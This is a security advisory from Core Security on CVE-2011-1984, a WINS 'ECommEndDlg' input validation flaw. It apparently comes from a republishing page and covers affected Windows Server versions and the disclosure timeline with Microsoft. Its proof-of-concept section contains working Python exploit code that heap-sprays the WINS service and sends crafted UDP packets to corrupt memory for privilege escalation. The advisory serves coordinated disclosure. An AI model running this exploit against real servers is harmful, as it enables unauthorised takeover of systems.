扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 |
Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MS WINS ECommEndDlg Input Validation Error 1. *Advisory Information* Title: MS WINS ECommEndDlg Input Validation Error Advisory ID: CORE-2011-0526 Advisory URL: http://www.coresecurity.com/content/ms-wins-ecommenddlg-input-validation Date published: 2011-09-12 Date of last update: 2011-09-12 Vendors contacted: Microsoft Release mode: Forced release 2. *Vulnerability Information* Class: Input validation error [CWE-20] Impact: Code execution Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2011-1984 3. *Vulnerability Description* A security vulnerability was discovered in the Windows Internet Name Service (WINS). The vulnerability could allow elevation of privilege if a user receives a specially crafted WINS replication packet on an affected system running the WINS service. An attacker must have valid logon credentials and be able to log on locally in order to exploit this vulnerability. Malicious packets are processed by the vulnerable function 'ECommEndDlg', reported in MS11-035 [1], but this time the pointers handled by this function are controlled by the attacker. *Important:* Given that this vulnerability is triggered by sending a specially crafted packet to the dynamic UDP port of the WINS service (which is binded to the loopback address '127.0.0.1'), this vulnerability can result in an elevation of privilege. Despite that, in old W2003 SP0 systems, the dynamic UDP port is binded to the '0.0.0.0' address, allowing remote code execution. 4. *Vulnerable packages* . Windows Server 2003 SP0, SP1 and SP2. . Windows Server 2003 x64 Edition SP2. . Windows Server 2003 SP2 for Itanium-based Systems. . Windows Server 2008 SP2. . Windows Server 2008 x64 Edition SP2. . Windows Server 2008 R2 for x64-based Systems. . Other versions and platforms are probably affected too, but they were no checked. 5. *Non-vulnerable packages* . Windows XP SP3. . Windows XP Professional x64 Edition SP2. . Windows Vista SP2. . Windows Vista x64 Edition SP2. . Windows Server 2008 for Itanium-based Systems SP2. . Windows 7. . Windows 7 for x64-based Systems. . Windows Server 2008 R2 for Itanium-based systems. 6. *Credits* This vulnerability was discovered and researched by Nicolas Economou from Core Security Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Security Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Proof of Concept* The following PoC was tested on WINS 5.2.3790.4849, W2003 SP2. This Python code generates 300 TCP connections to the 42 port (the limit of active WINS connections), and sends an UDP packet to the dynamic port handled by WINS. The packet is processed by the vulnerable function 'ECommEndDlg', reported in MS11-035 [1], but this time the pointers handled by this function are controlled by the attacker. As a result, this code increments +1 the memory address passed through the command line. For example, the memory address 0x10c00 is typically mapped in the WINS process and it can be used. /----- ## import sys import socket import struct import time import os from ctypes import * from ctypes.wintypes import DWORD LocalFree = windll.kernel32.LocalFree CryptProtectData = windll.crypt32.CryptProtectData CryptUnprotectData = windll.crypt32.CryptUnprotectData memcpy = cdll.msvcrt.memcpy CRYPTPROTECT_LOCAL_MACHINE = 0x04 class DATA_BLOB(Structure): _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))] def get_data(blob): cbData = int(blob.cbData) pbData = blob.pbData buffer = c_buffer(cbData) memcpy(buffer, pbData, cbData) LocalFree(pbData); return buffer.raw def Win32CryptProtectData(plain): buffer = c_buffer(plain, len(plain)) iblob = DATA_BLOB(len(plain), buffer) oblob = DATA_BLOB() if CryptProtectData(byref(iblob), u"win32crypto.py", None, None, None, CRYPTPROTECT_LOCAL_MACHINE, byref(oblob)): return get_data(oblob) else: return None def send_packet (sock, ip, port, message): packet = "" packet += message sock.sendto(packet, (ip, port)) ################################################################################ # Check args if len(sys.argv) != 4: print "\nusage: python wins_poc.py wins_tcp_dynamic_port wins_udp_dynamic_port writeable_address(hex)" print "\nNote: On Windows 2003, the udp dynamic port is the same number of the tcp port less one" sys.exit(0) # Get ports dinamically tcp_dynamic_port = int(sys.argv[1]) udp_dynamic_port = int(sys.argv[2]) writeable_address = int(sys.argv[3], 16) # Target IP target_ip = "127.0.0.1" ################################################################################ # Create connections to do a heap spray rpc_connections = [] for i in range(0, 1000): try: p = socket.socket(socket.AF_INET, socket.SOCK_STREAM) p.connect((target_ip, tcp_dynamic_port)) rpc_connections += [p] except Exception, e: break # Struct that is validated by WINS magic_struct= "" magic_struct += "a" * 0x0c magic_struct += struct.pack("I", writeable_address-0x14) magic_struct += struct.pack("I", 0) magic_struct += struct.pack("I", 4) magic_struct += "b" * (0x20-len(magic_struct)) magic_struct += struct.pack("I", 1) magic_struct += "c" * (0x2c-len(magic_struct)) magic_struct += struct.pack("I", 0x10c00) magic_struct += "d" * (0x38-len(magic_struct)) magic_struct += struct.pack("I", 0) # Data con la forma de la estructura que triggerea el bug data= "" data += magic_struct data += "B" * (0x4000-len(data)) data += "filling" # Create connections to do a heap spray for p in rpc_connections: try: p.send(data) except Exception, e: pass # Get to the limit od WINS connections print "connecting ..." ps = [] for i in range(0, 300): p = socket.socket(socket.AF_INET, socket.SOCK_STREAM) p.connect((target_ip, 42)) ps += [p] # Go through an area 32Kb for offset in range(0, 0x8000, 4): # Data to send data= "" data += struct.pack("I", 0) data += "A" * 0x0c data += struct.pack("I", 0) data += struct.pack("I", 0x05000000+offset) # Encrypt data2 = Win32CryptProtectData(data) # Send the poisoned packet p = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) send_packet(p, target_ip, udp_dynamic_port, data2) p.close () # Close all sockects print "closing TCP connections ..." for p in ps: p.close() for p in rpc_connections: p.close() -----/ 8. *Report Timeline* . 2011-06-07: Core Security Technologies notifies the MSRC of the vulnerability, setting the estimated publication date of the advisory to July 5th, 2011. Technical details sent to the vendor. . 2011-06-07: Vendor acknowledges receipt of the information and notifies the case 11427 was opened for handling this report. . 2011-06-08: MSRC notifies they will not be able to meet the initial release schedule set in July. MSRC will contact Core with a tentative timeline as soon as the product team has reproduced the issue. . 2011-06-15: MSRC notifies that they have successfully reproduced this issue and can confirm the vulnerability results in an Elevation of Privilege instead of Remote Code Execution; the reason for this is that the dynamic UDP port that is opened only listens on the loopback address. Despite that, MSRC will still be issuing a Security Update. . 2011-06-17: MSRC notifies that they are currently planning the development of the fix. MSRC also notifies that they should have a good idea when a fix will be available in a week. . 2011-06-17: Core requests a status update and an estimated release date. . 2011-06-24: MSRC notifies they are currently targeting Sep 13th 2011 to release the security update. . 2011-07-06: Core agrees to reschedule the advisory to Sep 13th. . 2011-08-31: MSRC notifies they are still on track to release the update in September. . 2011-09-08: Core notifies that everything is ready for public disclosure next Tuesday 13th. . 2011-09-09: MSRC notifies that, by error, the bulletins were unintentionally published last night. MSRC has taken down the bulletins and is evaluating what next steps are needed to take prior to next Tuesdays. MSRC asks delay the Core advisory until next Tuesday. . 2011-09-09: Core confirms that RSS reports regarding the Microsoft Security Bulletin MS11-070 were leaked and the information is available in some security blogs and security discussion lists [2][3][4]. These leaked reports include the vulnerability reported by Core: "Vulnerability in WINS Could Allow Elevation of Privilege (2571621)". . 2011-09-09: Core notifies that advisories are not usually released on Fridays and announces that the advisory will be released Monday 12th. . 2011-09-12: CORE-2011-0526 is published as forced release. 9. *References* [1] MS11-035, http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx [2] http://arstechnica.com/microsoft/news/2011/09/microsoft-posts-security-bulletins-four-days-early-scrambles-to-fix-mistake.ars [3] http://www.smokey-services.eu/forums/index.php?topic=132827.0 [4] http://pastebin.com/DT3w5G19 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and prove real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. |
体验盒子
